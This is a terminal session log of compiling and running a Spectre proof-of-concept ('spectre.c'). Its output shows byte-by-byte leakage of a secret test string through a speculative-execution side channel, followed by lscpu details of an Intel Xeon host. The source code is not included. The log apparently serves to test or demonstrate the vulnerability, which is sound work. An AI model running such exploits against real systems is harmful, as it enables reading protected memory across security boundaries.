pve ~ $ vim spectre.c
pve ~ $ gcc -std=c11 -o spectre spectre.c
pve ~ $ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff898... Success: 0x54=’T’ score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffdff899... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=843)
Reading at malicious_x = 0xffffffffffdff89a... Unclear: 0x65=’e’ score=998 (second best: 0x00 score=876)
Reading at malicious_x = 0xffffffffffdff89b... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=778)
Reading at malicious_x = 0xffffffffffdff89c... Unclear: 0x4D=’M’ score=999 (second best: 0x00 score=822)
Reading at malicious_x = 0xffffffffffdff89d... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=857)
Reading at malicious_x = 0xffffffffffdff89e... Unclear: 0x67=’g’ score=998 (second best: 0x00 score=945)
Reading at malicious_x = 0xffffffffffdff89f... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=813)
Reading at malicious_x = 0xffffffffffdff8a0... Unclear: 0x63=’c’ score=155 (second best: 0x00 score=78)
Reading at malicious_x = 0xffffffffffdff8a1... Success: 0x20=’ ’ score=29 (second best: 0x00 score=9)
Reading at malicious_x = 0xffffffffffdff8a2... Unclear: 0x57=’W’ score=999 (second best: 0x00 score=667)
Reading at malicious_x = 0xffffffffffdff8a3... Unclear: 0x6F=’o’ score=999 (second best: 0x00 score=653)
Reading at malicious_x = 0xffffffffffdff8a4... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=804)
Reading at malicious_x = 0xffffffffffdff8a5... Unclear: 0x64=’d’ score=999 (second best: 0x00 score=884)
Reading at malicious_x = 0xffffffffffdff8a6... Success: 0x73=’s’ score=75 (second best: 0x01 score=35)
Reading at malicious_x = 0xffffffffffdff8a7... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=668)
Reading at malicious_x = 0xffffffffffdff8a8... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=740)
Reading at malicious_x = 0xffffffffffdff8a9... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=956)
Reading at malicious_x = 0xffffffffffdff8aa... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=857)
Reading at malicious_x = 0xffffffffffdff8ab... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=865)
Reading at malicious_x = 0xffffffffffdff8ac... Unclear: 0x53=’S’ score=999 (second best: 0x00 score=741)
Reading at malicious_x = 0xffffffffffdff8ad... Unclear: 0x71=’q’ score=999 (second best: 0x00 score=934)
Reading at malicious_x = 0xffffffffffdff8ae... Unclear: 0x75=’u’ score=75 (second best: 0x00 score=38)
Reading at malicious_x = 0xffffffffffdff8af... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=840)
Reading at malicious_x = 0xffffffffffdff8b0... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=940)
Reading at malicious_x = 0xffffffffffdff8b1... Success: 0x6D=’m’ score=241 (second best: 0x00 score=115)
Reading at malicious_x = 0xffffffffffdff8b2... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=864)
Reading at malicious_x = 0xffffffffffdff8b3... Unclear: 0x73=’s’ score=53 (second best: 0x00 score=29)
Reading at malicious_x = 0xffffffffffdff8b4... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=657)
Reading at malicious_x = 0xffffffffffdff8b5... Unclear: 0x20=’ ’ score=997 (second best: 0x00 score=919)
Reading at malicious_x = 0xffffffffffdff8b6... Unclear: 0x4F=’O’ score=999 (second best: 0x00 score=902)
Reading at malicious_x = 0xffffffffffdff8b7... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=810)
Reading at malicious_x = 0xffffffffffdff8b8... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=654)
Reading at malicious_x = 0xffffffffffdff8b9... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=799)
Reading at malicious_x = 0xffffffffffdff8ba... Unclear: 0x66=’f’ score=999 (second best: 0x00 score=835)
Reading at malicious_x = 0xffffffffffdff8bb... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=841)
Reading at malicious_x = 0xffffffffffdff8bc... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=849)
Reading at malicious_x = 0xffffffffffdff8bd... Unclear: 0x67=’g’ score=999 (second best: 0x00 score=759)
Reading at malicious_x = 0xffffffffffdff8be... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=946)
Reading at malicious_x = 0xffffffffffdff8bf... Unclear: 0x2E=’.’ score=999 (second best: 0x00 score=789)
pve ~ $ lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                8
On-line CPU(s) list:   0-7
Thread(s) per core:    2
Core(s) per socket:    4
Socket(s):             1
NUMA node(s):          1
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 94
Model name:            Intel(R) Xeon(R) CPU E3-1230 v5 @ 3.40GHz
Stepping:              3
CPU MHz:               3568.671
CPU max MHz:           3800.0000
CPU min MHz:           800.0000
BogoMIPS:              6815.82
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              8192K
NUMA node0 CPU(s):     0-7